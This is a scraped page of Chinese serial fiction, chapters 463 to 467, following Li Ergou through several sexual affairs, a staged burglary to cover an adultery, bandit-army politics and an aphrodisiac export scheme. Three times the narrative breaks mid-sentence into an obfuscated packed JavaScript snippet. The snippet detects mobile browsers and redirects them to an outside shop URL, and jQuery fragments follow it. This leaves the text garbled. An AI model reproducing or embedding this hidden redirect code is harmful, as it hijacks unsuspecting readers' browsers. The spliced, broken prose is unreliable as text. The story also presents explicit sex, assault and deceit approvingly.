他没有直接去县政府找孙竹刚,而是按照严婆惜的尺寸买了两身旗袍,之后便兴高采烈地来到孙竹刚家中。 严婆惜见到李二狗更是兴高采烈,这两天她的身子刚干净,内心正是蠢蠢欲动的时候,真是想什么来什么。 “二狗,你可算来了,你大哥不在家,快进屋。” “嫂子,你先别急,我给你买了好东西。” 严婆惜不见面时想,见了面更想,她在乎的不是李二狗买的什么东西,而是他这个人。 他就是自己最好的礼物! “二狗,你送我什么东西我都非常喜欢,咱们别浪费时间了,还是快点进屋吧,再晚你大哥该回来了。” 严婆惜眼里泛着秋波,双颊红润,散发出来的熟女气质令李二狗心驰神往。 “嫂子……” “二狗……” 李二狗一把抱起严婆惜就进了屋。 冬寒料峭的季节,屋内却是一片春色盎然。 事后两人都瘫软在床上。 “好久没这么舒爽了,二狗,以后你一定要常来看我啊。” 李二狗每次来了之后就后悔,但每次都还是忍不住来。 严婆惜的确是一个有独特魅力的女人。 “放心吧,我有空就来。” 严婆惜娇嗔道:“哼,没空就不来了吗?” 李二狗只好哄道:“好好好,我答应你,不管有空没空,我都抽空来。” “这还差不多。” 严婆惜把头埋在李二狗结实的胸膛里。 突然,门外传来开门的声音,紧接着便是一阵皮鞋摩擦地面发出的脚步声。 没有敲门,直接进入,穿着皮鞋,很明显,进来之人肯定是孙竹刚。 “怎么办?” 严婆惜顿时傻了眼,她赶紧下床捡起地上的衣服,慌乱之中竟把裤腿当成了袖口,狼狈至极。 对于严婆惜来说,和李二狗在一起是为了寻欢作乐,那是生理方面的需求。 可县长夫人的头衔光鲜亮丽,她是万万舍弃不了的。 外面孙竹刚的脚步声越来越近,马上就要走进屋子了。 李二狗光着身子下了床,赶紧把房门上的门栓推了进去。 “嘘!” 李二狗对严婆惜做了一个噤声的手势。 “人去哪了?” 果然是孙竹刚的声音。 孙竹刚推了推卧室的门,竟然没有推开。 “婆惜,婆惜,你在里面吗?” 严婆惜脸都吓绿了,李二狗却在一旁气定神闲地穿着衣服。 “怎么办啊?” 严婆惜急得直跺脚。 外面敲门的声音越来越响。 “婆惜,婆惜,你在里面吗?你在不在里面?” 孙竹刚声音急促,开始砸起了房门。 “你快想想办法啊!” 已经穿戴整齐的李二狗笑着指了指挂在床梁上的一根布绳,那是他们刚刚兴致盎然时助兴的工作。 “目前只好先委屈你了!” 严婆惜尚未明白过来,李二狗已经把严婆惜绑了起来。 严婆惜当场吓得花容失色,以为李二狗要把自己绑起来交给孙竹刚处置,以立功表现央求他宽大处理。 “你……你到底要做什么?” 李二狗附耳说道:“待会你坐在地上别说话,我自有办法。” 严婆惜虽然还是没明白李二狗的意思,但眼看着房门就要被孙竹刚从外面撞开,她已没有别的选择。 “婆惜,你到底在不在里面?再不出来,我要撞门了!” 李二狗悄悄来到门后,把门栓轻轻地抽了出来。 “啊!” “哐当”一声,孙竹刚撞开房门,摔倒在地上。 他抬头看到严婆惜披头散发地蜷缩在一个角落里,双手被绑住,嘴里还塞着毛巾。 “呜呜……” “婆惜……” “砰!” 李二狗从门后闪出,一掌打在孙竹刚的脑后,孙竹刚当场晕死过去。 严婆惜这才彻底明白李二狗的用意,一直紧绷的神经才彻底松弛下来。 李二狗上前解开严婆惜身上的绳子。 “待会他醒来,你就说家里进了盗匪,把你绑了起来。” 严婆惜非常了解孙竹刚的性格,知道他醒来之后肯定会怀疑盗匪有没有对她见色起意。 “二狗,我怕他……” 李二狗知道她要说什么,便安慰道:“放心吧,我知道该怎么说。” 严婆惜万万没想到李二狗竟然选择留下来,她果然没有看错人,李二狗真是一个有担当的男人。 李二狗把孙竹刚拖到床上,然后来到客厅,静静地等待孙竹刚醒来。 半个时辰之后,孙竹刚终于醒了过来。 他揉了揉有些酸痛的后脑勺,半晌之后才想起先前发生了什么。 “婆惜、婆惜……” 严婆惜从屋外跑进房内。 “竹刚,你可算醒了,人家刚刚都吓死了!” “婆惜,到底是怎么回事?我怎么被人打晕了?” 严婆惜的眼泪“吧嗒吧嗒”掉了下来。 “今天多亏二狗兄弟及时赶到,要不然……我真的就只能去死了,呜呜……” 这时,李二狗走了进来。 “大哥,你醒了?” 孙竹刚见到李二狗,一脸狐疑。 “二狗兄弟,你什么时候来的?” “半个时辰之前,我刚走到院门口就听到里面传来嫂子的哭喊声,我冲进来一看,一个歹徒正要对嫂子图谋不轨。” “什么?” 孙竹刚看向阎婆惜,那眼神里不是关心而是质疑。 李二狗接着说道:“好在歹徒还没有得逞!只可惜当时他用刀挟持了嫂子,我没有别的办法,只能放他走!哎,大哥,都怪我,没能抓住歹徒!我对不起你!” 严婆惜哭得身子不停地发抖。 “竹刚,多亏二狗兄弟及时赶到,要不然我真得没脸再见你了。” “光天化日之下竟敢闯到老子家里行凶,真是吃了熊心豹子胆,我马上打电话,命令警察局限期破案,一定不能轻饶了这个歹徒!” 李二狗忙劝道:“大哥,这可万万使不得啊。” “此话怎讲?” 孙竹刚一脸狐疑地看向李二狗。 第463章 你的是我的,我的不也是你的吗? “大哥,你是堂堂江东县的县长,这事一旦传扬出去,恐怕有损你的威名,还有……”李二狗顿了顿,看了严婆惜一眼,“我怕这件事对嫂子影响不好……毕竟人言可畏啊!” 李二狗一番话说得合情合理,孙竹刚只能无奈地叹息一声。 “二狗兄弟,谢谢啊!” “大哥,咱们是兄弟,你千万别这么客气!” 孙竹刚从床上爬起来,脑后传来一阵胀痛。 “婆惜啊,你赶紧去包二狗兄弟最爱吃的海鲜馅的饺子,今晚我和二狗兄弟好好喝几杯,感谢他的搭救之恩。” “大哥,你可千万别这么客气,这都是我应该做的,谁让咱们是好兄弟呢?” 严婆惜擦干眼泪,站起身来。 “我这就去和面,这次你真得好好感谢一下人家二狗兄弟。” “二狗是咱亲兄弟,咱们都是一家人,好了,你快去吧,我和二狗兄弟说会话。” 严婆惜走后,孙竹刚悄声问道:“兄弟,刚刚真的没有发生什么意外吗?” 李二狗知道孙竹刚一向多疑,便十分肯定地说道:“大哥,真的没有,我进来的时候,嫂子身上的衣服都是完整的。” 孙竹刚这才放下心来。 两人移步来到客厅。 孙竹刚若有所思地问道:“兄弟,你这次来找我所为何事啊?” 李二狗笑道:“我是特地来恭喜大哥的。” 孙竹刚一脸疑惑,自己的老婆差点被歹徒糟践,你还来恭喜我?你小子不会是来看笑话的吧? 他面无表情地问道:“兄弟此话怎讲?” 李二狗则显得很兴奋。 “大哥,告诉你一个好消息,江东县及周边地区的土匪已经完全没有了!” “你说什么?” 孙竹刚激动地站了起来,他简直难以相信,李二狗这么短的时间内竟把土匪清除殆尽。 “在整个江东,除了我刚刚成立的清风集团之外,所有的土匪山寨已经全部没有了!从此,江东再无土匪。” 江东出响马,这在全省乃至全国都赫赫有名。 可没想到,竟被李二狗谈笑间就全部消灭了。 李二狗的实力由此可见一斑! 不过李二狗一家独大,孙竹刚内心还是感到一种深深的危机感。 他能短时间内消灭近百个土匪山寨,那把自己拉下马岂不是轻而易举? 想到这他的后脊背就一阵发凉! 孙竹刚貌似不经意地问道:“兄弟,你们清风集团现在有多少人马?” 李二狗早就猜到孙竹刚会有此一问。 “不到两千人!” 孙竹刚惊的目瞪口呆! 整个江东县保安团和警察局加起来还不到三百人,李二狗竟有两千人马,远远超出他的想象。 实际上,清风集团以前三个山寨只有四百人马,加上这次招募的三百多人,满打满算也不到八百人。 李二狗之所以过分夸大自己的实力,目的是彻底镇住孙竹刚。 当你的实力强大到对手根本没有能力撼动你的时候往往才是最安全的! “两千人,两千人……”孙竹刚嘴里不停地念叨道,“两千人好啊,兄弟,以后大哥就全依仗你了。” 李二狗当然听出孙竹刚话里的酸意。 “大哥,咱们是兄弟,你的是我的,我的不也是你的吗?咱们兄弟之间还用分得那么清楚吗?” 孙竹刚笑得比哭还难看。 “兄弟说得对,咱们兄弟联手,整个江东就是咱们的天下。” “大哥所言极是!” 李二狗向孙竹刚竖了个大拇指,识时务者为俊杰,他相信孙竹刚是一个识时务的人。 “大哥,我得把清风集团的情况向你汇报汇报。” 孙竹刚心想,你手下都两千人马了还向我汇报什么情况? “什么汇报不汇报的,我相信兄弟。” 李二狗笑道:“大哥,你听我给你汇报汇报,有些事还得你帮着给拿个主意。” “你小子,嘴上粘上毛比猴还精,还需要我拿主意吗?” “嘿嘿,很多事情还得依仗大哥不是?大哥,我们新成立的清风集团目前下辖五个农场。” “农场?” “是啊,现在山寨都改名叫农场了。” 孙竹刚不得不佩服李二狗的脑子。 “兄弟,你这农场都干什么?种地?” “我们种地,但也不是只种地,什么挣钱我们就干什么,不过我可以向大哥保证,我们绝对不会像一般土匪那样打家劫舍,滥杀无辜的!” “滥杀无辜”四个字,孙竹刚知道意味着什么! 不滥杀无辜不代表不会杀人,主动权还是掌握在李二狗手中。 “你们种地,哪来的土地?你要知道,种地可是要缴租纳税的。” 李二狗露出习惯性的笑容。 “大哥,你放心,我们只种我们自己在山上开垦的荒地。” 孙竹刚心知肚明,他们开垦的荒地肯定是不会向政府缴租纳税的。 李二狗实力如此强大,孙竹刚只能尽力拉拢,根本没有第二个选择。 “兄弟,你还有什么要求尽管提,大哥一定尽全力支持你。” “大哥,我已经放出话,在江东县绝不允许再出现土匪山寨,今后只要有人敢上山拉杆子,我一定就地消灭。” 孙竹刚不明白李二狗为何要对自己说这番话,这话好像应该是政府才有资格说。 “有兄弟这番话,大哥就放心了。” 孙竹刚根本没了解李二狗话里的深意。 “大哥,你带领保安团和警察局,以少胜多,短时间内消灭江东境内的土匪,这样的成绩必须让省里知道啊。” 李二狗一番话令孙竹刚醍醐灌顶、茅塞顿开。 这番成绩确实是史无前例的,夏瀚林一高兴,说不定会把自己提拔到省城去任职。 “兄弟,你提醒的好啊,我马上就安排人去落实。” “大哥,夏主席知道此事之后肯定会很高兴的。” 其实,李二狗的真正用意是讨夏瀚林欢心,有了这番成绩,南京国民政府肯定会批准他的资金申请。 至于孙竹刚,李二狗认为他留在江东当县长更有利于清风集团的长远发展。 孙竹刚能不能得到提拔,不过是自己一句话的事。 他相信夏瀚林肯定会卖他这个面子。 第464章 女人还是初恋好 秀才果然没有辜负李二狗的厚望。 他将几个散落在民间专治阳痿早泄的老中医聚集起来,经过他们日夜反复的研讨、调配、实验、测试,最后终于配成了一副效果显著的壮阳药方。 清风农场几个常年阳痿的男人吃了这种药丸之后,每个人都表现的生龙活虎,有两人竟彻夜不停。 李二狗如获至宝。 有了这个配方,等产品上市之后,一定会引起岛国倭人的抢购,李二狗仿佛已经看到大把大把的银元揣进自己的兜里。 有了这些钱,他可以继续购买枪支弹药,大肆招兵买马,不断扩大集团的规模,不断壮大自己的力量。 乱世之中,什么都是假的,只有实力才是第一位的。 “秀才,这个配方是咱们集团的最高机密,绝对不许泄露给任何人。” 秀才道:“狗哥,你就放心吧,就连那几个老中医都不知道。” “嗯?” 李二狗一脸疑惑,他们自己配的方子,又怎会不知道。 “我让他们配了很多副药方,他们根本就不知道配方的实验效果如何,刚刚我已经以效果不佳为由,把他们都打发了。” 尽管秀才有卸磨杀驴之嫌,但他做得确实没毛病。 “秀才,你小子真精。” 李二狗怀揣配方,开车带着春花和牛犊子来到省城。 为了减少外人对春花母子的打扰,李二狗没有让任何人插手此事。 他亲自在省城买了一套四合院来安置春花母子,另外又花钱雇了一个丫鬟和老妈子伺候她们。 “春花,你和牛犊子就安心在这里住下,我会经常回来看你们的。” 春花根本不担心李二狗不来,因为牛犊子是他亲生儿子,即使他不惦记自己,也肯定不会不管牛犊子。 自从被李二狗接出来之后,春花的气色红润了很多,脸蛋依稀有了当年的模样。 她抚摸着牛犊子的脑袋,感慨道:“二狗,孩子成长的过程需要父亲的陪伴,你有空的时候就常回来陪陪牛犊子吧。” 血浓于水,李二狗越看牛犊子越觉得亲切。 “春花,你放心,我会经常回来看你们的,牛犊子还小,以后就得辛苦你了。” 春花笑靥如花,露出少妇特有的娇羞。 “这有什么辛苦的?牛犊子也是我的儿子呀。” 牛犊子虽是她的儿子,可李二狗却不是她的丈夫,他们终归不是一家人。 “春花,如果以后遇到难事,你就打发人去吴公馆找吴有德吴爷,只要提我的名字,他会帮助你的。” 春花点了点头,眼眶泛红。 “二狗,有件事我想和你商量商量。” 李二狗看春花的样子,不知道她为啥突然红了眼眶,担心她有什么心结,便问道:“春花,你有什么事就说吧,我一定帮你解决。” 春花张了张口又变得犹豫起来,不知道自己到底该不该说。 “这里没有外人,有什么话你就说吧。” “二狗,我不想牛犊子长大之后被人笑话是一个没爹的孩子,我想……我想让他改姓李。” 春花声如蚊蝇,李二狗却听得清晰无比。 牛犊子是自己的亲生儿子,姓李本就天经地义,可牛旺财刚死不久,他实在不忍心这时候让牛犊子改姓李。 他抿着嘴,幽幽地说道:“我看还是先等等吧,牛犊子还小,不着急。” 春花哭了,不知是因为刚刚李二狗的拒绝还是觉得自己对不起牛旺财。 “春花,你好好的,以后的日子还长着呢。我还有事,先走了,回头再来看你们。” 李二狗转身的瞬间,春花突然从身后双手抱住了他。 “二狗,不要丢下我好吗?我真的好怕!” 此时李二狗走也不是,留也不是,他心里乱极了。 “爹爹……” 不知道什么时候,牛犊子抱住了李二狗的大腿,嘴里含含糊糊的叫了几声爹。 李二狗彻底破防了。 老李家有后了,他怎能不激动! 刚刚进门的丫鬟和老妈子看着他们,不知道他们之间到底是什么关系。 李二狗不想在外人面前说这些,便说道:“我们回屋说吧。” 此时就是有天大的事情,李二狗也不得不留下来。 进了屋,春花擦干眼泪,逗弄着牛犊子。 “牛犊子,快喊爹,这是你亲爹。” 牛犊子没有丝毫犹豫,奶声奶气地喊道:“爹……爹……” “哎……你可真是爹的好儿子。” 李二狗一把抱起牛犊子,牛犊子咯咯地笑了起来。 和李二狗小时候简直一模一样。 春花则把头贴在了李二狗的肩膀上。 多么幸福的一家三口! 牛犊子一直缠着李二狗陪他玩,不知不觉天色已经黯淡下来。 入夜之后,牛犊子很快便睡着了。 “春花,我先走了,你也累了一天了……好好休息。” 李二狗站起来,刚要离开,春花却发出了一声“哎吆”的轻吟声。 “你怎么了?” 李二狗扶住春花,春花则借机抱住李二狗,火热柔软的嘴唇便贴到了他的唇上。 “二狗,不要走,留下来……” 春花边说边吻,她毕竟是李二狗的启蒙老师,李二狗在春花身上的回忆一直都是美好的。 没有男人可以拒绝美好,他终究还是屈从于自己的内心。 春花久旱逢甘霖,李二狗他乡遇故知。 两人重温旧梦,都格外卖力。 一个疯狂,一个迎合,李二狗在春花身上找回了初次心动的感觉。 “二狗,你真的好厉害。” 事后,春花躺在李二狗怀里,还在回味着先前的美好。 李二狗内心五味杂陈,略有些敷衍地说道:“这都是你配合的好。” 春花完全没有听出李二狗的敷衍,抬头问道:“我去给你煮两个鸡蛋吃吧?我记得你最喜欢吃我给你煮的鸡蛋了。” “还是明天早上再煮吧,天夜已晚,咱们还是早点睡吧。” 春花把头埋在李二狗怀里,柔声道:“我想要你抱我睡。” 此时的春花完全变成了一个娇柔的小女人,李二狗根本无法拒绝。 酒是陈的香,女人还是初恋好。 抱着身若无骨的春花,李二狗很快又来了感觉。 第465章 李二狗的三板斧 李二狗把配方交给静雯,吴氏医药公司开始昼夜不停地生产。 药丸生产出来之后,并没有装进包装盒,只是用锡纸包裹之后便装进了一个大的白色袋子里,工人们根本不知道这种药丸究竟要卖到哪里。 生产出来一批之后,李二狗安排人把药丸运到码头一个提前找好的仓库里。 之后,酒井空便安排商社的人把这些药丸装上轮船直接运回日本,在日本工厂里经过二次包装之后,全面推向日本市场。 等待的日子虽然有些煎熬,但李二狗对这个药丸充满了信心。 “二狗,我看咱们还是先等日本那边有消息之后再安排生产吧?” 静雯有些担心药丸的销量,如果日本市场不认可,那生产的越多赔的就会越多,毕竟这种药丸使用的都是价格不菲的中草药。 可李二狗却依然认为这种药丸肯定会在日本取得巨大的成功。 他虽然不了解日本市场,但他了解男人,没有男人可以抵御一夜七次的诱惑。 如果有,说明你不是真正的男人! “静雯,绝对不能停!不仅不能停,我们还得进一步扩大生产规模,另外,你得赶紧安排人去外省购买中草药。” “为什么要去外省买?” 李二狗解释道:“如果咱们只在省内购买,短时间内购买数量这么大,中草药的价格肯定会大幅上涨。” 静雯还是放心不行。 “二狗,可我还是有些担心,而且现在中草药的价格已经有上涨的趋势,如果不成功,咱们这次的损失可太大了,咱们根本承受不起啊。” 李二狗捏了捏静雯粉嘟嘟的俏脸,笑道:“你就把心放在肚子里吧,咱们挣大钱的机会来了。干完这一票,咱们可以**几辈子。” 静雯娇嗔道:“去你的!谁和你**,哼!” 李二狗赔笑道:“我只是打个比方罢了,你放心,咱们这一次一定会挣大钱!” “真的?” “当然是真的!我什么时候骗过你?” 虽然静雯知道李二狗经常在感情上欺骗自己,但他做事还是一直挺靠谱。 “好,那我就相信你,我马上吩咐他们日夜不停地生产。” 李二狗眉毛一挑,趴在静雯耳边说道:“他们日夜不停,咱们也日夜忙活起来吧,嘿嘿。” “滚!” 静雯的脸一下子红到了脖子,分外妖娆。 几天过去了,日本那边还是没有好消息传来,李二狗有些坐不住了。 他来到井伊商社。 坐不住的不仅是李二狗,酒井空也有些坐不住了。 当初她向日本总社信誓旦旦地保证在中国找到一种神药,一定会在日本大卖特卖。 结果在高价购进了一批运回日本之后,却没有取得预想中的效果。 “日本那边有消息了吗?”一见面,李二狗便迫不及待地问道。 酒井空招呼李二狗坐下,脸上愁云密布。 “我正要去找你。” 看酒井空的神色,李二狗便预感到事情有些不妙。 “怎么回事?难道药丸在日本卖得不好?” 酒井空点点头,叹息道:“很不好,为此日本总社的社长对我提出了严厉的批评,也许我们以后的合作不得不停止了,不过你放心,第一批药品的货款我会尽快安排支付的。” 这段时间,吴氏医药公司日夜不停地生产,同时在周边几个省份购买了大量的中草药,如果这时候不合作,李二狗可承受不起这个损失。 但他相信药丸的效果,它是经过实践检验的好药,不可能卖得这么差! “这不可能啊?这么好的药为什么卖不动?你们是怎么卖的?” 酒井空自责道:“对不起,二狗先生,是我辜负了你的信任。我想之所以卖得不好,可能是因为价格太贵,普通民众吃不起的缘故吧。” 酒井空不了解男人,但李二狗了解男人。 男人离不开女人,尤其是一些年纪偏大却又很软的男人,如果有一种药物可以帮助他们重振雄风,他们宁肯三天不吃饭也肯定要买一粒试一试。 如果卖得不好,那只有一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450942|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 原因,需要的人并不了解它的药效。 “一定是你们的销售策略有问题。”李二狗十分肯定地说道。 酒井空理解李二狗的心情。 “二狗先生,我理解你的心情,可我们的销售策略是没有问题的,几乎在日本国内的所有大城市,绝大部分药店都在销售这种药丸,可是真得没有人购买啊!” 李二狗立马意识到问题所在。 一个药店有成千上万种药品,消费者不可能了解到每一种药品的药效。 而且相比其他药品,这种**更显特殊。 一个男人吃了之后有效果,他是绝对不可能向其他男人推荐的,因为没有任何一个男人会承认自己不行! 另外再加上这种药丸价格昂贵,不了解实际情况的人是不会轻易购买的。 “酒井小姐,不是我的药丸有问题,是你们的销售策略有问题,我建议你们马上调整销售策略。”李二狗十分笃定地说道。 “调整?怎么调整?” 酒井空看李二狗说得如此郑重,顿时也来了兴致。 “第一,搞赠送。每个药店每天限量赠送十粒药丸,每人赠送一粒,不得重复领取,以户籍号码为准。” 李二狗认为,只要让更多的男人了解到这种药丸的效果,根本不愁回头客。 酒井空是何等聪明的女人,立即领会到李二狗的意图。 “第二,做限购。每个人在每个药店一次只能购买两盒药丸,多了不卖,店员的统一口径是药品短缺。” 物以稀为贵,只要限购,大家买不到或者买得少,就会立即有一种吃亏的感觉,他宁肯多跑几家药店,也一定要买到自己满意为止。 “第三,干推销!我知道你们日本妓院多,艺伎也多,一定要把这种药丸铺陈到妓院里,把艺伎发展成药丸推销员,许诺给她们高额提成,激励她们玩命地推销,当然,价格一定要比在普通药店至少翻上一番。” 酒井空听得胸脯子一抖一抖的,眼前的这个男人真是一个销售奇才。 她有点控制不住自己了…… 第466章 接手吴氏企业 “二狗,我真是爱死你了。” 说着,酒井空饿虎扑食般扑向李二狗。 李二狗还是第一次见识到日本女人的疯狂,相比起她们一贯的温柔顺从,他觉得如此动静皆宜的女人才更富有吸引力。 他顺势抱住酒井空,明显感觉到她身体的律动。 但李二狗是一个事业心很强的男人,他绝不会因为女人的投怀送抱就忘记了事业。 他催促道:“你赶紧先给你们日本总社发一个电报,爱死我的事还是等办完正事再说吧。” 此时的酒井空就像一颗熟透的日本大樱桃,简直熟到爆汁。 “你好讨厌!何必急在这一时嘛?” 李二狗依然保持着清醒的头脑,他回避着酒井空主动送到嘴边的热吻。 “对啊,何必急在这一时嘛!乖,快去发电报。” 酒井空愈发佩服李二狗的冷静和自律,她自信没有任何一个男人能抵御此刻的自己,除了眼前的李二狗,这样的男人简直是个宝。 “那我去发电报,等我回来。” 柔情似水的酒井空在离开之前还特意向李二狗抛了一个媚眼。 李二狗相信,只要日本方面严格按照自己的三个建议进行药品促销,用不了多久,一夜七次丸便可以火爆日本。 酒井空很快便回来了,气喘吁吁的样子令她更加地娇艳欲滴。 “这么快?” 酒井空娇羞一笑。 “我可以快,你可不许快!嘻嘻。” 又是一场鏖战。 李二狗心想,看来这一夜七次丸并不是只有日本男人需要,全世界男人都需要。 他仿佛看到一艘艘巨轮行驶在蔚蓝色的大海上,为全世界的男人带去性福。 “二狗,我还要……” 李二狗回到吴公馆时已是满天繁星。 “二狗,来这里坐。” 刚进门,正坐在客厅的吴有德就招呼李二狗坐在自己对面的沙发上,显然他在等李二狗。 李二狗拿起桌上的水壶给吴有德面前的茶杯续满了水,才坐到对面的沙发上。 “干爹,您怎么这么晚还没睡?” 吴有德一副心事重重的样子。 “二狗,孙夫人最近联络了一些同盟会的故人,准备在上海成立一个新的政党,邀请我过去参与筹备。” “政党?” 李二狗听到“政党”二字吓了一跳,**实行**统治,成立一个新的政党显然是非常危险的事情。 尤其是南方之行的见闻更令他胆战心惊。 红军根据地遭到国民政府的重兵围剿,几乎损失殆尽,他知道**是不会允许一个新的党派发展壮大的。 “干爹,您不是不参与**了吗?目前中国世道这么乱,您还是留在省城颐养天年比较好。” 吴有德深深地叹了一口气,这些年来,他虽然远离**,但他心中救国图存的理想一直没有破灭。 “二狗啊,古语说,天下兴亡,匹夫有责。正是因为目前中国世道混乱,中国民族已经到了生死存亡的时刻,我才更应该站出来为国家和民族做点事情,我不想就这样混吃等死!” 吴有德的话深深地震撼了李二狗。 他没想到富可敌国的吴有德,心中却一直怀揣着一颗救国图存的拳拳之心。 “干爹,您如果真想为国家做点事情,可以答应孙院长的邀请重新出山啊。” 李二狗认为,到南京国民政府工作也可以为国家和民族做点事情,而且在南京国民政府至少可以保证自身安全。 吴有德忿忿地说道:“现在的南京国民政府还叫国民政府吗?你见过哪个国家的政府丢失了三个省的国土还不宣战?你见过哪个国家的政府被几大家族把持着国家的命脉?**、**,这样的政府能救中国吗?” 吴有德说着便剧烈地咳嗽起来,李二狗见状赶紧起身去拍打吴有德的后背。 “干爹,您别激动,慢慢说。” 李二狗又赶忙端起茶几上的茶杯递到吴有德手里。 “您先喝点水压一压。” 吴有德接着茶杯,喝了一口,慢慢才停止了咳嗽。 “二狗哇,日本人占领了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17455008|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 东三省之后,又在图谋华北,他们的狼子野心昭然若揭,可南京国民政府却还在喊什么攘外必先安内,国家都快没有了,你还安哪门子内?这样的政府会把中国带到什么境地?我们再不行动,就真得要**灭种了!” 吴有德这样一位德高望重而又事业有成的老年人都愿意为了救国图存而放弃一切,包括自己的性命,李二狗深受触动。 他一直迷茫于自己的未来,可如果国家都没有了,个人还能有什么未来? “干爹,我还是担心您的安危,您一定要慎重啊。” 此时的吴有德已经下定了决心。 “我不下地狱,谁下地狱?二狗,为了你们这一代和你们的子孙后代不当**奴,我们这一代人流血牺牲又怕什么?” “干爹,你还是先别急着做决定,再考虑考虑吧。” 吴有德斩钉截铁地说道:“二狗,干爹已经决定了,你就不要再劝了!” 李二狗的泪水夺眶而出,既是感动又是不舍。 “二狗,你哭什么?”吴有德露出慈祥的笑容,“干爹是去上海干正事,又不是去送死!” “干爹,您老年纪这么大了,还要奔走疾呼,我作为您的儿子却不能为您分忧,我真是恨我自己!” “哈哈,二狗,你不必自责,这是我自己选择的路,哪怕前面是**阵,是万丈深渊,我也绝不后悔。” “干爹,我为您感到骄傲。”李二狗由衷地向吴有德竖起了大拇指。 “二狗,干爹走后,这份家业就得由你撑起来了,你可千万不要让干爹失望啊!” 此时,李二狗再也没有拒绝的理由,他必须接下这份家业,让吴有德走的安心。 “干爹,您就放心吧,我一定替你守好这份家业,等您回家。” 李二狗跪倒在吴有德跟前,泪流满面。 吴有德笑着笑着就哭了,有李二狗这样一个比亲儿子还亲的干儿子,他很欣慰。 “二狗,好孩子,快起来,干爹一直相信自己的眼光。” “干爹!” 父子俩拥抱在一起。 第467章 药丸生意出现变故 吴有德只用了不到一个星期的时间便把一切都安排妥当,带着两三个心腹去了上海。 “二狗,没想到干爹走得这么突然,我真是一点心理准备都没有。” 静雯内心十分复杂,吴有德这一走,她面临的压力更大了。 “你这次必须得来省城了,我一个人真得应付不来。” 李二狗知道,这两年吴有德一直在刻意培养静雯,尽管她身上还有很多不足之处,但维持公司运转已经完全没有问题。 “放心吧,我已经答应干爹了,不过……” 静雯刚要高兴,又被李二狗的“不过”吓坏了。 “不过什么?你不会要反悔吧?” 李二狗笑道:“我怎么会反悔呢?你放心,我答应你和干爹的事情一定会做到,不过江东那边的事情我还是不能放弃,以后只能两边跑了。” 目前清风集团已经走上正轨,李二狗完全可以把更多的精力投入到省城这边。 至于胡家大院,有张二驴在,他完全可以放心。 此时的李二狗,坐拥全省实力最强的吴氏企业,又掌管着一个有着近千人队伍的土匪集团。进可攻,退可守,他已经完全不把一个小小的胡家大院放在眼里。 那里不过是有几个令他牵挂的人罢了! 静雯知道,李二狗在江东有妻子,他无法舍弃那里的一切也是情有可原。 她投入李二狗的怀抱,深情地说道:“二狗,我真的离不开你!” 李二狗抚摸着她一头秀丽的长发,安慰道:“傻瓜,我怎么会离开你呢?” 两人抱在一起腻歪了一会儿,静雯突然想起了一件事。 “日本那边有消息了吗?” 李二狗这几天一直忙着吴有德的事情,竟把这件事抛在了脑后。 自己给酒井空提出三条建议已经过去一周时间,想来应该有了成效。 “一会儿我去趟井伊商社打听一下,应该快有消息了。” “药丸的生产是不是先停一停?最近这段时间,工厂日夜不停地开工,已经生产了太多,我担心……” 李二狗虽然自信药丸肯定会大卖,但内心还是有一丝担忧,毕竟是和日本人做生意,他不得不多留一个心眼。 “从今天起,取消工人两班倒,只在白天安排生产,让大家轮换着休息休息。” “那好,我现在就去安排。” 静雯去了工厂,李二狗来到井伊商社。 “二狗先生,这几日一直未见你过来,在忙什么大生意呢?” 酒井空口中阴阳怪气,眼里却是秋波荡漾。 李二狗知道她又想了。 这更加让他对药丸在日本的前景充满信心。 日本女人这么想,日本男人要是不行怎么能行? 并不是每个日本女人都像酒井空如此幸运,能遇到李二狗这种天生伟力的男人。 “我这不是一直忙着为你们大日本帝国的男人生产药丸吗?真是忙得抽不出身来,呵呵。” 听了李二狗的话,酒井空眼中有一丝狡黠闪过。 “二狗先生,我正有一件重要的事情要和你说。” 酒井空突然变得严肃起来,李二狗心里不免“咯噔”一下,难道药丸出问题了? “什么重要的事情?你可别吓我啊!”李二狗故意表现害怕的神情。 “哎,药丸的销售没有达到我们的预期,日本总社对我非常不满!” 李二狗没想到自己的三条建议竟然没起作用,这怎么可能?! 这次他真害怕了! “没达到预期是什么意思?” “药丸卖得很不理想,有些药店已经开始退货,哎,真没想到会是这种结果。” 李二狗努力保持着镇定,他万万没想到会是这种结局。 目前工厂已经生产了海量的药丸,如果日本市场不接受,那对他来说将是致命的。 吴有德刚刚把吴氏企业交给他,没想到就出了这么大的事情。 现在想来,还是自己太自负了! 他心有不甘地问道:“你们没有按照我的三条建议执行吗?” 酒井空非常肯定地说道:“我们是完全按照你提出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17455009|190554||http|test|mini|href|location'.split('|'),0,{})); () 